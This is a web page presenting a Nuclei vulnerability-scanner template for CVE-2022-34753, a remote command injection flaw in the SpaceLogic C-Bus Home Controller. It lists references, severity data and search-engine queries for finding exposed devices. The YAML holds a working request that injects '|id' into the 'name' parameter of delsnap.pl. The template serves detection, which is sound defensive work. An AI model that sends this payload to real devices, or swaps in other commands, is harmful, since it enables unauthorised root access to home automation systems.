Skip to content
Nuclei Templates

SpaceLogic C-Bus Home Controller <=1.31.460 - Remote Command Execution

ID: CVE-2022-34753

Severity: high

Author: gy741

Tags: cve2022,cve,iot,spacelogic,rce,oast,packetstorm,schneider-electric

Description

Section titled “Description”

SpaceLogic C-Bus Home Controller through 1.31.460 is susceptible to remote command execution via improper neutralization of special elements. Remote root exploit can be enabled when the command is compromised, and an attacker can potentially execute malware, obtain sensitive information, modify data, and/or gain full control without entering necessary credentials.

YAML Source

Section titled “YAML Source”
id: CVE-2022-34753


info:
  name: SpaceLogic C-Bus Home Controller <=1.31.460 - Remote Command Execution
  author: gy741
  severity: high
  description: |
    SpaceLogic C-Bus Home Controller through 1.31.460 is susceptible to remote command execution via improper neutralization of special elements. Remote root exploit can be enabled when the command is compromised, and an attacker can potentially execute malware, obtain sensitive information, modify data, and/or gain full control without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Upgrade SpaceLogic C-Bus Home Controller to a version higher than 1.31.460 to mitigate this vulnerability.
  reference:
    - https://www.zeroscience.mk/codes/SpaceLogic.txt
    - https://download.schneider-electric.com/files?p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2022-193-02_SpaceLogic-C-Bus-Home-Controller-Wiser_MK2_Security_Notification.pdf
    - http://packetstormsecurity.com/files/167783/Schneider-Electric-SpaceLogic-C-Bus-Home-Controller-5200WHC2-Remote-Root.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34753
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-34753
    cwe-id: CWE-78
    epss-score: 0.96923
    epss-percentile: 0.99698
    cpe: cpe:2.3:o:schneider-electric:spacelogic_c-bus_home_controller_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: schneider-electric
    product: spacelogic_c-bus_home_controller_firmware
    shodan-query:
      - html:"SpaceLogic C-Bus"
      - http.html:"spacelogic c-bus"
    fofa-query: body="spacelogic c-bus"
  tags: cve2022,cve,iot,spacelogic,rce,oast,packetstorm,schneider-electric


http:
  - raw:
      - |
        GET /delsnap.pl?name=|id HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e3d756df6660cb3820078897a6de70f94f94a5a2816c1fa6afda343c79b5b2f4022023009d730ad33c33c4ece04ba9712f36e55fca2bdc52ec1b16dd2942e1503099:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-34753.yaml"

View on Github